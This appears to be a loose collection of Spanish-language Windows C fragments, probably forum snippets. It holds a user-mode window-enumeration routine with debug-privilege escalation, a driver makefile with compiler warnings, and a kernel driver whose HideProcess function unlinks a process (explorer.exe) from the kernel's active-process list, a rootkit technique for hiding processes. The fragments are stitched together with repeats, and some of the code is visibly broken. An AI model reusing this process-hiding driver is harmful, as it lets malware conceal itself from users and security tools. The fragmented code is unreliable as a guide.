HWND hWnd = FindWindow(NULL,"Calculadora");
if(hWnd )
{
 printf("Calculadora detectada");
}

#include <windows.h>
#include <conio.h>
#include <stdio.h>

void EnableDebugPriv()
{
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;

	if (!OpenProcessToken( GetCurrentProcess(),
		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		return;
	if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ){
		CloseHandle( hToken );
		return;
	}
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = sedebugnameValue;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
		CloseHandle( hToken );
}

struct ProcInfo {
    HWND hWnd;
    CHAR szTitle[255];
    CHAR szClass[255];
};

void ForzarListado()
{
    HWND hWnd;
    ProcInfo mProc[1024];
    int nCount = 0;
    int nPID = 0;
    int i = 0;

    hWnd = FindWindow(NULL,NULL);
	MessageBox(0,hWnd,"Holas",0);

    while(hWnd>0)
    {
        if(!GetParent(hWnd))
        {
 				mProc[nCount].hWnd = hWnd;
                GetWindowTextA(hWnd, mProc[nCount].szTitle, 255);
                GetClassNameA(hWnd, mProc[nCount].szClass, 255);
			    if(_strnicmp(mProc[nCount].szTitle,"Calculadora",sizeof("Calculadora"))==0)
				{
					printf("Calculadora encontrada \n");
					break;
				}
                nCount++;
            }     
        hWnd = GetWindow(hWnd, GW_HWNDNEXT);
	}
	printf("\n");
}

	void main()
	{
		EnableDebugPriv();
		Sleep(100);
		ForzarListado();
		system("pause");
	}

HWND hWnd = FindWindow(NULL,"Calculadora");

!INCLUDE $(NTMAKEENV)\makefile.def

TARGETNAME=Protect
TARGETTYPE=DRIVER
TARGETPATH=obj


INCLUDES=..\..\inc

SOURCES = driver.c

48    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)  
   
         driver.c(48) : warning 28101: The Drivers module has inferred that the current function is a DRIVER_INITIALIZE function: This is informational only. No problem has been detected.
Found in function 'DriverEntry'
48   

59        DriverObject->DriverUnload=Salir;   
   
         driver.c(59) : warning 28155: The function being assigned or passed should be a DRIVER_UNLOAD function: Add the declaration 'DRIVER_UNLOAD Salir;' before the current first declaration of Salir.
Found in function 'DriverEntry'
59  
 

#include <ntddk.h>
#include <ntifs.h>
 
void Salir(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Saliendo");
}
 
void HideProcess( char* input )
{
	PEPROCESS PeProcess = NULL; 
	PLIST_ENTRY	pNextEntry, pListHead; 
	PLIST_ENTRY BeforeProcess,Process,AfterProcess;
	PeProcess = PsGetCurrentProcess(); 
	if(!PeProcess) 
		return;
	if(IsListEmpty(&PeProcess->ActiveProcessLinks))
		return;
	else
	{
		pListHead = &PeProcess->ActiveProcessLinks;
		pNextEntry = pListHead->Flink;
 
		while(pNextEntry != pListHead) 
		{
			PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
			if(PeProcess->ActiveThreads)
			{
				if( !IsListEmpty( &PeProcess->ThreadListHead ) )
				{
					if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
					{
						Process = pNextEntry;
						BeforeProcess = pNextEntry->Blink;
						AfterProcess = pNextEntry->Flink;
						BeforeProcess->Flink = Process->Flink;
						AfterProcess->Blink = Process->Blink;
						return;
					}
				}		
			}
			PeProcess = NULL;
			pNextEntry = pNextEntry->Flink;
		}
	}
	return;
}
 
NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
	NTSTATUS s;
	int i=0;
	int e = 0;
	int nstruct = 0;
	int cont = 0;
	unsigned long pid;
	PUNICODE_STRING pUnicode_NAme;
	ANSI_STRING stri;
	PEPROCESS eproc;
 
    DriverObject->DriverUnload=Salir;
 
	DbgPrint("Escondiendo explorer.exe...");
	HideProcess("explorer.exe");
	DbgPrint("Trabajo terminado :)");
	return  STATUS_SUCCESS;
}